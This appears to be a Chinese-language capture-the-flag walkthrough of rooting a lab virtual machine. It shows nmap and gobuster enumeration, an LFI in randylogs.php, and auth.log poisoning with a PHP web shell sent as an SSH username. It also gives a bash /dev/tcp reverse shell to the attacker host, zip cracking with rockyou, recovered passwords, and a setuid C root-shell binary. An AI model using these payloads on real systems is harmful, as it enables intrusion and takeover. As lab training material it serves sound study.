本机
192.168.223.128
目标机
192.168.223.148
主机发现
nmap -sP 192.168.223.0/24
端口扫描
nmap -sV -p- -A 192.168.223.148
开启了22 80 端口
看web,是个apache默认界面
扫目录
gobuster dir -u http://192.168.223.148 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
看tasks
# Tasks that need to be completed
1. Change permissions for auth log #更改身份验证日志的权限
2. Change port 22 -> 7672 #更改端口22->7672
3. Set up phpMyAdmin #设置phpMyAdmin
没什么用,看blog-post
尝试分离文件,无果
继续目录扫描
gobuster dir -u http://192.168.223.148/blog-post -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
archives下有一个php文件
uploads跟blog-post界面一样
看php文件randylogs.php
能打开但不显示内容,测试发现可以LFI,参数为file
任务1Change permissions for auth log
先找到auth.log /var/log/auth.log
发现包含ssh日志,用ssh写入一句话木马
ssh -l "<?php system($_GET['x']);?>" 192.168.223.149
反弹shell
http://192.168.223.148/blog-post/archives/randylogs.php?file=/var/log/auth.log&x=echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.223.128%2F4567%200%3E%261%22%20|%20bash
home下有个randy,想进去发现权限不够
尝试一些提权方法,无果
翻到了一个用户备份文件,可能包含randy的密码
unzip需要密码,下载下来爆破一下
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
压缩包密码是!randybaby
得到一个密码randylovesgoldfish1998,是randy的密码
sudo -l发现有个easysysinfo文件有root权限
看一下py文件
#!/usr/bin/python3.9
import os
command1 = "/usr/bin/date"
command2 = "/usr/bin/cat /etc/hosts"
command3 = "/usr/bin/uname -a"
def output():
print("Today is: ")
os.system(command1)
print("\n")
print("Hosts File: ")
os.system(command2)
print("\n")
print("Kernal Version: ")
os.system(command3)
output()
easyinfo有suid权限,那么可以重新编译一个easysysinfo文件来替代原来的文件
#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0); #用户ID为root
setgid(0); #组ID为root
system("bash -i"); #获取shell
}
gcc easysysinfo.c -o easysysinfo
成功提权root,拿到flag
总结:1.ssh一句话木马污染autho.log
2./var/backups读取用户备份文件
3.压缩包爆破拿到密码
4.编译c文件替代同名root权限文件